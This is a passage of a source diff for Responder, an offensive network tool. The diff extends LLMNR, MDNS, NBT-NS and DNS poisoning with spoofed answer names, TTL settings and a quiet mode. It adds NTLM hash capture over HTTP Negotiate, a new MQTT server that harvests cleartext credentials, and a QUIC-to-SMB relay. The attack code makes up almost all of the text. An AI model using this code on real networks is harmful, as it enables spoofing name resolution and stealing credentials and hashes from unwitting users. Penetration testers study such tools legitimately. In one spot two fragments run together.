str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) - MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"]) + MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"]) Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) @@ -1755,7 +1845,7 @@ class SMB2NegoAns(Packet): self.fields["NegTokenASNLen"] = StructWithLenPython2or3("= len(data) or IPPos == 1: + #Probably not present in the DHCP options we received, let's grab it from the IP header instead + return data[12:16] + else: + IP = data[IPPos:IPPos+4] + return IP def ParseDHCPCode(data, ClientIP,DHCP_DNS): global DHCPClient @@ -256,8 +260,8 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS): RequestIP = data[245:249] if DHCPClient.count(MacAddrStr) >= 4: - return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr - + return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr + if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer ROUTERIP = ClientIP return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP) @@ -346,5 +350,5 @@ def DHCP(DHCP_DNS): if SrcPort == 67 or DstPort == 67: ClientIP = socket.inet_ntoa(data[0][26:30]) ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS) - if ret: + if ret and not settings.Config.Quiet_Mode: print(text("[*] [DHCP] %s" % ret)) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 0952325..25e020e 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -22,6 +22,9 @@ if (sys.version_info > (3, 0)): else: from SocketServer import BaseRequestHandler +#Should we answer to those AAAA? +Have_IPv6 = settings.Config.IPv6 + def Parse_LLMNR_Name(data): import codecs NameLen = data[12] @@ -37,11 +40,11 @@ def IsICMPRedirectPlausible(IP): for line in file: ip = line.split() if len(ip) < 2: - continue + continue elif ip[0] == 'nameserver': dnsip.extend(ip[1:]) for x in dnsip: - if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: + if x != "127.0.0.1" and IsIPv6IP(x) is False and IsOnTheSameSubnet(x,IP) is False: #Temp fix to ignore IPv6 DNS addresses print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)) print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)) print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)) @@ -55,10 +58,14 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class try: data, soc = self.request Name = Parse_LLMNR_Name(data).decode("latin-1") + if settings.Config.AnswerName is None: + AnswerName = Name + else: + AnswerName = settings.Config.AnswerName LLMNRType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: + if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: return None #IPv4 if data[2:4] == b'\x00\x00' and LLMNRType: @@ -73,24 +80,40 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) elif LLMNRType == True: # Poisoning Mode - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + #Default: + if settings.Config.TTL == None: + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName) + else: + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [LLMNR]" + if settings.Config.AnswerName is None: + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + else: + print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], 'ForName': Name, 'AnalyzeMode': '0', }) - - elif LLMNRType == 'IPv6': - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + + elif LLMNRType == 'IPv6' and Have_IPv6: + #Default: + if settings.Config.TTL == None: + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName) + else: + Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [LLMNR]" + if settings.Config.AnswerName is None: + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + else: + print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR6', 'SentToIp': self.client_address[0], @@ -99,4 +122,4 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) except: - raise + pass diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index a2bf073..3ef0c7c 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -23,6 +23,9 @@ else: from packets import MDNS_Ans, MDNS6_Ans from utils import * +#Should we answer to those AAAA? +Have_IPv6 = settings.Config.IPv6 + def Parse_MDNS_Name(data): try: if (sys.version_info > (3, 0)): @@ -32,14 +35,14 @@ def Parse_MDNS_Name(data): NameLen_ = data[1+NameLen] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] FinalName = Name+b'.'+Name_ - return FinalName.decode("latin-1") + return FinalName.decode("latin-1").replace("\x05","") else: data = NetworkRecvBufferPython2or3(data[12:]) NameLen = struct.unpack('>B',data[0])[0] Name = data[1:1+NameLen] NameLen_ = struct.unpack('>B',data[1+NameLen])[0] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ + return Name+'.'+Name_.replace("\x05","") except IndexError: return None @@ -51,45 +54,57 @@ def Poisoned_MDNS_Name(data): class MDNS(BaseRequestHandler): def handle(self): - - data, soc = self.request - Request_Name = Parse_MDNS_Name(data) - MDNSType = Parse_IPV6_Addr(data) - # Break out if we don't want to respond to this host + try: + data, soc = self.request + Request_Name = Parse_MDNS_Name(data) + MDNSType = Parse_IPV6_Addr(data) + # Break out if we don't want to respond to this host - if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): - return None + if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True): + return None - if settings.Config.AnalyzeMode: # Analyze Mode - print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3)))) - SavePoisonersToDb({ + if settings.Config.AnalyzeMode: # Analyze Mode + print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3)))) + SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '1', - }) - elif MDNSType == True: # Poisoning Mode - Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS_Ans(AnswerName = Poisoned_Name) - Buffer.calculate() - soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) - SavePoisonersToDb({ + }) + elif MDNSType == True: # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + #Use default: + if settings.Config.TTL == None: + Buffer = MDNS_Ans(AnswerName = Poisoned_Name) + else: + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '0', - }) + }) - elif MDNSType == 'IPv6': # Poisoning Mode - Poisoned_Name = Poisoned_MDNS_Name(data) - Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) - Buffer.calculate() - soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) - SavePoisonersToDb({ + elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode + Poisoned_Name = Poisoned_MDNS_Name(data) + #Use default: + if settings.Config.TTL == None: + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) + else: + Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL) + Buffer.calculate() + soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + SavePoisonersToDb({ 'Poisoner': 'MDNS6', 'SentToIp': self.client_address[0], 'ForName': Request_Name, 'AnalyzeMode': '0', - }) + }) + except: + raise diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 0d94126..ff3a1cd 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -27,32 +27,38 @@ else: class NBTNS(BaseRequestHandler): def handle(self): + try: + data, socket = self.request + Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True: + return None - data, socket = self.request - Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) - # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: - return None - - if data[2:4] == b'\x01\x10': - if settings.Config.AnalyzeMode: # Analyze Mode - print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3)))) - SavePoisonersToDb({ + if data[2:4] == b'\x01\x10': + if settings.Config.AnalyzeMode: # Analyze Mode + print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3)))) + SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], 'ForName': Name, 'AnalyzeMode': '1', - }) - else: # Poisoning Mode - Buffer1 = NBT_Ans() - Buffer1.calculate(data) - socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [NBT-NS]" - print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) - SavePoisonersToDb({ + }) + else: # Poisoning Mode + if settings.Config.TTL == None: + Buffer1 = NBT_Ans() + else: + Buffer1 = NBT_Ans(TTL=settings.Config.TTL) + Buffer1.calculate(data) + socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [NBT-NS]" + print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) + SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], 'ForName': Name, 'AnalyzeMode': '0', - }) + }) + except: + raise diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..8bd1f34 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +aioquic +netifaces>=0.10.4 diff --git a/servers/DNS.py b/servers/DNS.py index 9bbabbe..521599d 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -21,6 +21,9 @@ if settings.Config.PY2OR3 == "PY3": else: from SocketServer import BaseRequestHandler +#Should we answer to those AAAA? +Have_IPv6 = settings.Config.IPv6 + def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] OPT = data[len(data)-22:len(data)-20] @@ -65,14 +68,14 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6: buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6: buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) @@ -113,14 +116,14 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6: buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6: buff = DNS6_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) diff --git a/servers/FTP.py b/servers/FTP.py index b60b3d9..d1ffac0 100755 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -55,5 +55,5 @@ class FTP(BaseRequestHandler): data = self.request.recv(1024) except Exception: - raise + self.request.close() pass diff --git a/servers/HTTP.py b/servers/HTTP.py old mode 100755 new mode 100644 index 6afafce..70b6b63 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -96,26 +96,9 @@ def GrabReferer(data, host): return Referer return False -def SpotFirefox(data): - UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) - if UserAgent: - print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))) - IsFirefox = re.search('Firefox', UserAgent[0]) - if IsFirefox: - print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)) - print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)) - return True - else: - return False - def WpadCustom(data, client): Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) - if Wpad and SpotFirefox(data): - Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}") - Buffer.calculate() - return str(Buffer) - - if Wpad and SpotFirefox(data) == False: + if Wpad: Buffer = WPADScript(Payload=settings.Config.WPAD_Script) Buffer.calculate() return str(Buffer) @@ -167,6 +150,7 @@ def GrabURL(data, host): # Handle HTTP packet sequence. def PacketSequence(data, client, Challenge): NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) # Serve the .exe if needed @@ -193,7 +177,7 @@ def PacketSequence(data, client, Challenge): Buffer.calculate() Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) - #Buffer_Ans.calculate(Buffer) + Buffer_Ans.calculate() return Buffer_Ans if Packet_NTLM == b'\x03': @@ -212,6 +196,36 @@ def PacketSequence(data, client, Challenge): Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() return Buffer + + elif NTLM_Auth2: + Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9] + if Packet_NTLM == b'\x01': + GrabURL(data, client) + #GrabReferer(data, client) + GrabCookie(data, client) + + Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) + Buffer.calculate() + Buffer_Ans = IIS_NTLM_Challenge_Ans(WWWAuth = "WWW-Authenticate: Negotiate ", Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) + Buffer_Ans.calculate() + return Buffer_Ans + + if Packet_NTLM == b'\x03': + NTLM_Auth = b64decode(''.join(NTLM_Auth2)) + if IsWebDAV(data): + module = "WebDAV" + else: + module = "HTTP" + ParseHTTPHash(NTLM_Auth, Challenge, client, module) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:",""))) + + return WPAD_Custom + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return Buffer elif Basic_Auth: ClearText_Auth = b64decode(''.join(Basic_Auth)) @@ -224,8 +238,8 @@ def PacketSequence(data, client, Challenge): 'module': 'HTTP', 'type': 'Basic', 'client': client, - 'user': ClearText_Auth.decode('latin-1').split(':')[0], - 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1], + 'user': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[0], + 'cleartext': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[1], }) if settings.Config.Force_WPAD_Auth and WPAD_Custom: @@ -239,12 +253,16 @@ def PacketSequence(data, client, Challenge): return Buffer else: if settings.Config.Basic: - Response = IIS_Basic_401_Ans() + r = IIS_Basic_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: - Response = IIS_Auth_401_Ans() + r = IIS_Auth_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) diff --git a/servers/MQTT.py b/servers/MQTT.py new file mode 100644 index 0000000..1f870e2 --- /dev/null +++ b/servers/MQTT.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from utils import settings, NetworkSendBufferPython2or3, SaveToDb + +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket + +#Read N byte integer +def readInt(data, offset, numberOfBytes): + value = int.from_bytes(data[offset:offset+numberOfBytes], 'big') + offset += numberOfBytes + return (value, offset) + +#Read binary data +def readBinaryData(data, offset): + + #Read number of bytes + length, offset = readInt(data, offset, 2) + + #Read bytes + value = data[offset:offset+length] + offset += length + + return (value, offset) + +#Same as readBinaryData() but without reading data +def skipBinaryDataString(data, offset): + length, offset = readInt(data, offset, 2) + offset += length + return offset + +#Read UTF-8 encoded string +def readString(data, offset): + value, offset = readBinaryData(data, offset) + + return (value.decode('utf-8'), offset) + +#Read variable byte integer +#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011) +def readVariableByteInteger(data, offset): + multiplier = 1 + value = 0 + while True: + encodedByte = data[offset] + offset += 1 + + value = (encodedByte & 127) * multiplier + + if (multiplier > 128 * 128 * 128): + return None + + multiplier *= 128 + + if(encodedByte & 128 == 0): + break + + return (value, offset) + +class MqttPacket: + + USERNAME_FLAG = 0x80 + PASSWORD_FLAG = 0x40 + WILL_FLAG = 0x04 + + def __init__(self, data): + self.__isValid = True + + controllPacketType, offset = readInt(data, 0, 1) + + #check if CONNECT packet type + if controllPacketType != 0x10: + self.__isValid = False + return + + #Remaining length + remainingLength, offset = readVariableByteInteger(data, offset) + + #Protocol name + protocolName, offset = readString(data, offset) + + #Check protocol name + if protocolName != "MQTT" and protocolName != "MQIsdp": + self.__isValid = False + return + + #Check protocol version + self.__protocolVersion, offset = readInt(data, offset, 1) + + #Read connect flag register + connectFlags, offset = readInt(data, offset, 1) + + #Read keep alive (skip) + offset += 2 + + #MQTTv5 implements properties + if self.__protocolVersion > 4: + + #Skip all properties + propertiesLength, offset = readVariableByteInteger(data, offset) + offset+=propertiesLength + + #Get Client ID + self.clientId, offset = readString(data, offset) + + if (self.clientId == ""): + self.clientId = "" + + #Skip Will + if (connectFlags & self.WILL_FLAG) > 0: + + #MQTT v5 implements properties + if self.__protocolVersion > 4: + willProperties, offset = readVariableByteInteger(data, offset) + + #Skip will properties + offset = skipBinaryDataString(data, offset) + offset = skipBinaryDataString(data, offset) + + #Get Username + if (connectFlags & self.USERNAME_FLAG) > 0: + self.username, offset = readString(data, offset) + else: + self.username = "" + + #Get Password + if (connectFlags & self.PASSWORD_FLAG) > 0: + self.password, offset = readString(data, offset) + else: + self.password = "" + + def isValid(self): + return self.__isValid + + def getProtocolVersion(self): + return self.__protocolVersion + + def data(self, client): + + return { + 'module': 'MQTT', + 'type': 'Cleartext', + 'client': client, + 'hostname': self.clientId, + 'user': self.username, + 'cleartext': self.password, + 'fullhash': self.username + ':' + self.password + } + +class MQTT(BaseRequestHandler): + def handle(self): + + CONTROL_PACKET_TYPE_CONNECT = 0x10 + + try: + data = self.request.recv(2048) + + #Read control packet type + controlPacketType, offset = readInt(data, 0, 1) + + #Skip non CONNECT packets + if controlPacketType != CONTROL_PACKET_TYPE_CONNECT: + return + + #Parse connect packet + packet = MqttPacket(data) + + #Skip if it contains invalid data + if not packet.isValid(): + #Return response + return + + #Send response packet + if packet.getProtocolVersion() < 5: + responsePacket = MQTTv3v4ResponsePacket() + else: + responsePacket = MQTTv5ResponsePacket() + + self.request.send(NetworkSendBufferPython2or3(responsePacket)) + + #Save to DB + SaveToDb(packet.data(self.client_address[0])) + + + except Exception: + self.request.close() + pass diff --git a/servers/MSSQL.py b/servers/MSSQL.py old mode 100755 new mode 100644 index ed2b440..5efd26c --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -168,9 +168,9 @@ class MSSQLBrowser(BaseRequestHandler): if data: if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX self.send_response(soc, "MSSQLSERVER") - elif data[0] == b'\x04': # CLNT_UCAST_INST - self.send_response(soc, data[1:].rstrip("\x00")) - elif data[0] == b'\x0F': # CLNT_UCAST_DAC + elif data[0:1] == b'\x04': # CLNT_UCAST_INST + self.send_response(soc, data[1:].rstrip(b"\x00")) + elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC self.send_dac_response(soc) def send_response(self, soc, inst): diff --git a/servers/Proxy_Auth.py b/servers/Proxy_Auth.py index 23db3f8..8bb6c13 100644 --- a/servers/Proxy_Auth.py +++ b/servers/Proxy_Auth.py @@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge): GrabUserAgent(data) GrabCookie(data) GrabHost(data) - Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... - Buffer.calculate() - return Buffer + #Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... + #Buffer.calculate() + #Return a TCP RST, so the client uses direct connection and avoids disruption. + return RST else: return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB... diff --git a/servers/QUIC.py b/servers/QUIC.py new file mode 100644 index 0000000..a2397f5 --- /dev/null +++ b/servers/QUIC.py @@ -0,0 +1,168 @@ +import asyncio +import logging +import ssl +import argparse +import netifaces +from utils import * +from aioquic.asyncio import serve +from aioquic.asyncio.protocol import QuicConnectionProtocol +from aioquic.quic.configuration import QuicConfiguration +from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated + +BUFFER_SIZE = 11000 + +def get_interface_ip(interface_name): + """Get the IP address of a network interface.""" + try: + # Get address info for the specified interface + addresses = netifaces.ifaddresses(interface_name) + + # Get IPv4 address (AF_INET = IPv4) + if netifaces.AF_INET in addresses: + return addresses[netifaces.AF_INET][0]['addr'] + + # If no IPv4 address, try IPv6 (AF_INET6 = IPv6) + if netifaces.AF_INET6 in addresses: + return addresses[netifaces.AF_INET6][0]['addr'] + + logging.error(f"[!] No IP address found for interface {interface_name}") + return None + except ValueError: + logging.error(f"[!] Interface {interface_name} not found") + return None + + +class QUIC(QuicConnectionProtocol): + def __init__(self, *args, target_address=None, **kwargs): + super().__init__(*args, **kwargs) + self.tcp_connections = {} # stream_id -> (reader, writer) + self.target_address = target_address or "localhost" + + def quic_event_received(self, event): + if isinstance(event, StreamDataReceived): + asyncio.create_task(self.handle_stream_data(event.stream_id, event.data)) + elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated): + # Only try to close connections if we have any + if self.tcp_connections: + asyncio.create_task(self.close_all_tcp_connections()) + + async def handle_stream_data(self, stream_id, data): + if stream_id not in self.tcp_connections: + # Create a new TCP connection to the target interface:445 + try: + reader, writer = await asyncio.open_connection(self.target_address, 445) + self.tcp_connections[stream_id] = (reader, writer) + + # Start task to read from TCP and write to QUIC + asyncio.create_task(self.tcp_to_quic(stream_id, reader)) + + logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...") + print(text("[QUIC] Forwarding QUIC connection to SMB server")) + except Exception as e: + logging.error(f"[!] 